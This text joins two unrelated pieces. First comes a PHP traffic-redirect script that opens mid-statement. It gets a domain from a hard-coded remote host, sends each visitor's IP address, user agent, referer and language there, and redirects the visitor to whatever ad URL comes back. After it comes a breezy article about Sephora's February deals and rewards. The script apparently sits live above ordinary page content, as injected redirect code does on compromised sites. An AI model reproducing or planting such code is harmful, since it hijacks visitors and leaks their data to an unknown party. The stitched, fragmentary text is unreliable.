";
echo json_encode($_SERVER);
echo "
";
}
$API_DOMAIN = 'noy-95.com';
$AD_TOKEN = '36bd9815c20357f96453fa247140b6b167e93fb0';
$TB_URL = '';
$ttl = 10 * 60;
$fileName = dirname(__FILE__)."/.domain.cache";
$query = isset($_GET['q']) ? $_GET['q'] : '';
$s1 = isset($_GET['s1']) ? $_GET['s1'] : '';
$s2 = isset($_GET['s2']) ? $_GET['s2'] : '';
$s3 = isset($_GET['s3']) ? $_GET['s3'] : '';
if ($isDebug) {
echo "Getting tds domain from cache...
";
}
$info = getDomain($fileName);
if (is_array($info) && $info['expired'] < time()) {
if ($isDebug) {
echo "FAIL: TDS domain cache is empty or expired
";
}
$info = false;
}
if ($info === false) {
if ($isDebug) {
echo "Getting tds domain from api...
";
}
$domain = getTDSDomain($API_DOMAIN, $AD_TOKEN);
if (!$domain) {
if ($isDebug) {
echo "FAIL: No domain received.
";
}
if ($TB_URL) {
$rUrl = str_replace(array('{QUERY}', '{S1}', '{S2}', '{S3}'), array($query, $s1, $s2, $s3), $TB_URL);
if ($isDebug) {
echo "Redirecting to trafficback: $rUrl
";
} else {
listHeaders();
header("Location: $rUrl");
}
return;
}
if ($isDebug) {
echo "Rendering 404 error
";
} else {
render404($_SERVER);
}
return;
}
if ($isDebug) {
echo "Saving domain to cache...
";
}
saveDomain($fileName, $domain, time() + $ttl);
$info = array('domain' => $domain);
}
if ($isDebug) {
echo "Getting ad url...
";
}
$location = getAd($info['domain'], $AD_TOKEN, $_SERVER, array('query' => $query, 's1' => $s1, 's2' => $s2, 's3' => $s3), $isDebug);
if (!$location) {
if ($isDebug) {
echo "FAIL: No ad found.
";
echo "Rendering 404 error
";
} else {
render404($_SERVER);
}
return;
}
if ($isDebug) {
echo "Redirecting to ad: $location
";
} else {
listHeaders();
header("Location: $location");
ob_flush();
}
return;
function getDomain($file) {
$d = file($file);
if ($d === false || count($d) === 0) {
return false;
}
$info = explode(";", $d[0]);
// mailformed file
if (count($info) !== 2) {
return false;
}
return array(
'domain' => $info[0],
'expired' => (int) $info[1]
);
}
function saveDomain($file, $domain, $expired) {
file_put_contents($file, "$domain;$expired");
}
function getTDSDomain ($apiUrl, $token) {
$ctx = stream_context_create(array('http'=>array('timeout' => 10)));
$res = file_get_contents("http://$apiUrl/pd?token=$token", false, $ctx);
if (!$res) {
return "";
}
$data = json_decode($res, true);
if (!is_array($data) || !array_key_exists("domain", $data)) {
return "";
}
return $data["domain"];
}
function getAd($domain, $token, $server, $params, $isDebug) {
$errCount = 0;
$res = '';
while ($errCount < 2) {
$res = doReq($domain, $token, $server, $params, $isDebug);
if ($res !== false) {
break;
}
$errCount++;
}
if ($res === false || $res['code'] >= 400 || !is_array($res['response'])) {
return false;
}
if (!empty($res['response']['url'])) {
return $res['response']['url'];
} else if (!empty($res['response']['tb'])) {
return $res['response']['tb'];
} else {
return false;
}
}
function doReq($domain, $token, $server, $params, $isDebug) {
$ch = curl_init();
$body = array();
if (!empty($server['HTTP_REFERER'])) {
$body['ref'] = $server['HTTP_REFERER'];
}
if (!empty($server['HTTP_USER_AGENT'])) {
$body['ua'] = $server['HTTP_USER_AGENT'];
}
if (!empty($server['HTTP_ACCEPT_LANGUAGE'])) {
$body['lang'] = $server['HTTP_ACCEPT_LANGUAGE'];
}
$body['ip'] = getClientIP($server);
$body['q'] = $params['query'];
$scheme = getScheme($server);
$bodyStr = json_encode($body);
$addSubParams = array();
if (!empty($params['s1'])) {
$addSubParams[] = "s1=".$params['s1'];
}
if (!empty($params['s2'])) {
$addSubParams[] = "s2=".$params['s2'];
}
if (!empty($params['s3'])) {
$addSubParams[] = "s3=".$params['s3'];
}
$subStr = (count($addSubParams) > 0) ? "&".implode("&", $addSubParams) : "";
$ch = curl_init("$scheme://$domain/rtb/r?token=$token$subStr");
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POSTFIELDS, $bodyStr);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Content-Length: '.strlen($bodyStr))
);
$result = curl_exec($ch);
$info = curl_getinfo($ch);
curl_close($ch);
if ($info === false || !$info['http_code']) {
if ($isDebug) {
echo "Network error occurred: ".curl_error($ch)."
";
}
return false;
}
$adData=json_decode($result, true);
return array('code' => $info['http_code'], 'response' => is_array($adData) && count($adData) > 0 ? $adData[0] : null);
}
function getScheme($server) {
return stripos($server['SERVER_PROTOCOL'],'https') === true ? 'https' : 'http';
}
function getClientIP($server) {
if (array_key_exists('HTTP_X_FORWARDED_FOR', $server)){
return $server["HTTP_X_FORWARDED_FOR"];
} else if (array_key_exists('HTTP_X_REAL_IP', $server)) {
return $server["HTTP_X_REAL_IP"];
} else if (array_key_exists('REMOTE_ADDR', $server)) {
return $server["REMOTE_ADDR"];
}
return '';
}
function listHeaders() {
header("Expires: Tue, 03 Jul 2001 06:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
header("Connection: close");
}
function render404($server) {
$protocol = isset($server['SERVER_PROTOCOL']) ? $server['SERVER_PROTOCOL'] : 'HTTP/1.1';
listHeaders();
header("$protocol 404 Not Found");
}
If it's been a while since you've browsed the
virtual aisles of Sephora, first of all, are you OK? Do you need me to call anyone for you? Secondly, now is definitely a good time to visit the sale, beauty offers, and Beauty Insider Rewards sections on
sephora.com — the deals on makeup, skin care, and hair products happening in February are truly too good to ignore.
If your Insider points are burning a hole in your pocket, consider using them on the latest reward:
Glow Recipe Pizzaria Extra Fresh Watermelon Pie. I realize the name is kind of confusing, but once you see it, you'll totally get it. And you'll totally hand over 750 points to
actually get it. Inside an adorable pizza-style box are six of Glow Recipe's beloved
Watermelon Glow Jelly Sheet Mask packaged to look like slices of watermelon — but configured like a pizza. Listen, just go with it.
The beauty offers are updated weekly, but if you act fast, you can snag an especially awesome sample set. With any $35 purchase and the code SOMUCHLOVE, you get seven fragrance vials from brands like Gucci, Versace, and Philosophy. Even better — it comes with a trial-size Bite Beauty lip crayon.